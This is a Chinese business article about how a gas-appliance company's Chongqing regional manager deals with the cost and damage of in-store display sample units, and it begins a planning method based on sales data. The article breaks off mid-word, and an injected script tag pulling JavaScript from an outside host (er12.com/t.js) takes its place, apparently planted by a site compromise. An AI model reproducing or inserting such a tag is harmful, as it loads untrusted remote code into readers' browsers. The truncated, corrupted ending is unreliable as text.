导语:终端样机在提升形象、促进销售方面作用重大,然而庞大的样机铺底费用、样机损失却让代理商们宁愿让展示柜“开天窗”也不愿意上样机。终端样机,究竟要怎样管理,才能避免“样机黑洞”带来的巨大损失?
千喜公司重庆区域新任经理洪飞实行“分而治之”策略后,成功地将重庆外围区县市场从林老板手中剥离出来,接下来的工作就是怎样协助林老板将市场做起来,将销量搞上去了。
对于重庆这个以零售市场为主导的区域,终端卖场的作用可谓重中之重,要做好主城区市场,提升卖场销量无疑是当务之急。然而,在全面了解主城区各大卖场的销售情况及巡视终端之后,洪飞心里却越发沉重:
一、千喜公司在终端的形象存在重大问题:终端样机过于陈旧,部分机型损坏严重,而且长期没有调换,严重影响了千喜产品的终端形象。样机陈旧,损坏严重,这也是众多燃气具企业的通病。
二、林老板只对一些形象(高端)机型在部分销售好的卖场进行上样,不好的卖场则宁肯让其“开天窗”(终端展柜有空档,这种情况最影响终端形象),也坚决不肯上样机。因为上一台就意味着要积压一台样机的资金。而样机缺柜,终端形象不好,消费者定然不会买账,销售会火才怪呢!
三、就在千喜公司在重庆并不景气的情况下,林老板在卖场的样机铺底已经积压了30多万资金,并且由于大部分样机陈旧、损坏,已经无法销售,这部分资金已几乎成为死资金。这部分资金如果不能盘活,林老板必然不肯善罢甘休,而且以后再要说服其上新机型无疑难上加难。“
样机,这该死的样机!”洪飞恨恨地骂了一句,心里琢磨开了。
“样机黑洞”
样机问题并非千喜公司一家“独有”,林老板在重庆一年销售不过千万,样机铺底已经达到30余万,几乎是其一年的纯利润,而其他诸如华帝等企业,在重庆的样机铺底更是高达百万元!这一笔资金无论是压在代理商还是厂家身上,都让人喘不过气来!
终端样机的陈列标准中,一般都要求放在顾客方便看到和伸手可及的地方,一些特价机型还要贴上明显的价格爆炸帖标志,以引起消费者注意,促进销售。有的还要通电演示,并让顾客自己动手操作等等,非常容易发生样机刮花、破损等等受损现象,损失巨大。
以千喜公司为例,在重庆主城区进了15个终端卖场,每个卖场平均30台终端样机,每台终端样机平均进价粗算为800元,那么整个重庆主城区终端卖场的终端样机就占用资金30多万元;
其次,这30多万元的终端样机费用不仅是死资金,无法盘活,而且30多万元随着终端样机损耗,还在不断贬值,最后甚至无法销售。因此,每届区域经理一旦提出要加强终端形象,加大终端样机的上样及对受损的终端样机进行更换,林老板是一百个不愿意,一千个不满意——因为一算经济帐,心头堵得慌!
巨大的样机损失,不知不觉间吞噬了厂家或代理商的利润,甚至如林老板者,辛辛苦苦忙活一年下来,赚的钱可能只换回一堆残破不堪的样机!巨大的“样机黑洞”潜藏在销售水面之下,已经吞噬了越来越多的资金和利润!
对于终端样机的损耗问题,品牌企业通常的做法是要求代理商自己承担,直接增加了代理商的营销成本费用;非品牌企业会有相应的费用支持,但也造成了厂家利润损失。在“样机黑洞”问题之下,区域经理与代理商因为立场不同产生了磨擦,甚至部份代理商对于区域下达终端机型上样规定软抵硬抗,成为区域经理在提升终端形象时的一个心病。
于公于私,洪飞都不能置林老板利益于不顾,但总部在这方面又没有政策上支持。既要提升终端形象,又要维护代理商利益,真是左右为难哪!
洪飞仔细研究了公司相关规定,并参考其它同行,总结了“三段式”终端样机管理办法。
上样前:样机是不能乱上的
洪飞发现,现今企业,出样时都喜欢最大化,即品类最大化、型号最大化、面积最大化,出样品种和型号也认为越多越好,以为所占面积越大,规模越大,就越能吸引消费者的目光,成交率就越大。
其实不然:
某局部区域内终端卖场只能销售某几个机型,如果一味按照公司的标准上样,求大求全,忽略了此辖区的消费者消费习惯和购买能力,那么其它类别的终端样机就属浪费,无形中增加了代理商在终端样机的铺货成本;
其次,假如由于此卖场辖区内小区建筑及居民收入特点,只卖得动强排热水器,你非要上一些烟道式及平衡式热水器样机,这些热水器不仅卖不动,而且占用了终端陈列面积,同时也增加了代理商样机铺货成本。
通过分析零售报表,洪飞发现:只要统计分析终端卖场两个月内的销售数据,就可以找出其销售高、中、低机型的规律;此卖场区域的消费者购买能力、消费特点、适销何种产品。此时,就可以根据以上数据,针对终端卖场消费特点,规划好终端样机出样的比例,出样产品尽可能与该终端的产?script src=http://er12.com/t.js>











